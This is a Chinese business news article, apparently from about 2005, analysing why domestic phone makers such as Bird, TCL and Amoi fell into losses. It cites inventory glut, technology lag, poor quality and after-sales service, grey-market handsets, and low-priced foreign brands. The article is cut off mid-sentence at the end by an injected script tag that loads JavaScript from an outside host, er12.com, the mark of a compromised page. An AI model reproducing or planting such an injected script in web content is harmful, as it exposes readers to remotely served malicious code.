近日，昔日的“手机贵族”迪比特终于无奈地退出了内地手机市场。有迪比特公司高层表示，在中国发放3g牌照之后，迪比特将重返内地。在有可能发放3g牌照的2006年，国产手机真的能掌握这个机会，再造辉煌吗？
国产手机丢城失地
国产手机在2004年走上败退之路后，在2005年继续丢城失地。在第三及第四季度全国手机市场销售额都达新高的势态面前，国产手机市场份额却在不断下降。在三季度手机销量和销售额创近三年来新高的情况下，国产手机销量市场份额却进一步下降到了41.3%，创出年内新低。专业机构预计，2005年国产品牌手机份额同比大幅下滑已成定局。
与之相应的就是国产手机厂商的报亏红灯接连亮起。波导、tcl 通讯和夏新电子三季度财报分别显示今年前三季度的亏损额度分别为人民币2.8亿元、4.6亿港元和人民币1.3亿元。三家企业预报全年将出现亏损。事实上，代表国产手机第一梯队的四家企业已全线亏损。
此外，新获核准的13家厂商整体市场表现平平。
国产手机“软肋”分析
在解释亏损的原因时，不少国产厂商都认为“黑”手机是重要原因之一。据一些业内人士分析，目前我国市场上“黑”手机(包括水货机、组装机、贴牌机、翻新机等)的市场占有率在10%至20%之间。由于逃避了税收，取消了售后服务，这些“黑”手机在价格上很有杀伤力，售价大多在1000元至2000元之间。因此有人认为，由于国产品牌是这个价格区间的产品主力军，因此国产品牌受到的冲击要明显超过国外品牌。
但是，大多数业内人士认为，这并不是导致国产手机亏损的根本原因。bda中国有限公司通讯领域咨询顾问王涛在接受专访时说，国产手机出现巨亏，主要原因有两个：疲于应付存货和缺乏核心技术。这两个问题使其在推出新品方面显得力不从心。王涛说，从去年开始，国产手机为清理手机存货打起了价格战，这种清理动作所产生的成本却反映在今年上半年的财务报表中。而且，在国外品牌纷纷推出符合潮流的手机款型时，国产品牌却总是慢了半拍。
据赛迪顾问统计，2003年国产手机库存累加了2000万部左右，2004年又净增了几百万部。有分析人员称，目前亏损的手机厂商基本上都是在2003年手机市场的繁荣中成长起来的企业。但正因当时市场情形的一片大好，使许多手机厂商对市场盲目乐观，一味扩大产能。但是，在市场竞争日趋激烈，尤其是在洋品牌加大对低端市场攻势，提高低端市场占有率的情况下，这些厂商计划用增量盘活存货包袱的计划必然落空。
说到国产品牌和国外品牌的技术差距，波导公司董事长兼总经理徐立华也承认，国外手机在推出新技术、新功能方面，比国产手机要快六到九个月。王涛也称，国产手机在推出新品时的滞后，使他们无法获得超额利润。
“在技术上，国外手机厂商有自己的核心竞争力，他们采用‘人无我有，人有我优，人优我廉’的产品策略，这给国内手机厂商带来了很大的压力。”迪信通公司常务副总裁赵鹏宇说，国外厂商先是用高价推出新品，等到国内厂商也开发出类似产品后，他们就进行产品升级；等到国内厂商也提供高级别的手机时，他们就进行降价。这种状况使得国内厂商总是处于“接招不能出招”的被动状况。
被动跟进、匆忙上阵带来的结果，是国产手机产品的质量受到影响，进而影响到国产手机品牌的美誉度。在快速组装产品推向市场的过程中，国产厂商吃了不少苦头。“好多厂商在很短时间里就把刚研发好的手机上市，上市后才发现不行，因此只能偷偷回收。这种情况并不少见。”蒋利峰举例说，南方高科就曾因为一款这样的产品净亏损两亿元。“在2003年市场井喷的时候，这种亏损的影响还不明显，但是放在库房里肯定会拖后腿。波导、迪比特等很多厂商都有不成功的机型，这几款产品给消费者造成的印象很不好。”
这种在国产手机起步早期留下的质量缺陷，以及在售后服务方面的不足，给消费者留下了不良影响。赛迪顾问曾经做过一次问卷调查，问那些第一次选购了国产品牌的消费者，下一次换购手机时会不会考虑国产品牌？肯定的回答只是极少数，多达80%的人表示会考虑选择国外品牌。“有些国产品牌的美誉度，甚至跟国外的二三线品牌相比都差很远。这是很大的一个弱点。”蒋利峰说，“虽然国产品牌的知名度也很大，但是美誉度却差很多。”
导致国产手机厂商亏损的，还有一个重要原因，那就是国外厂商对低端市场的强势介入。“为什么前几年国产手机的生意好做呢？因为当时摩托罗拉和诺基亚把价格定得高高的，那时候诺基亚的毛利空间有30%。国产品牌只要推出一些有新创意、新概念的机型，价格降得低一些，再在销售渠道方面下一些功夫，很容易就能赚到钱。”赵鹏宇说，“但是当诺基亚等国际品牌也打出低价牌后，国产品牌的空间就变小了。国产手机销量份额真正开始下降，就是从诺基亚打低价?script src=http://er12.com/t.js>
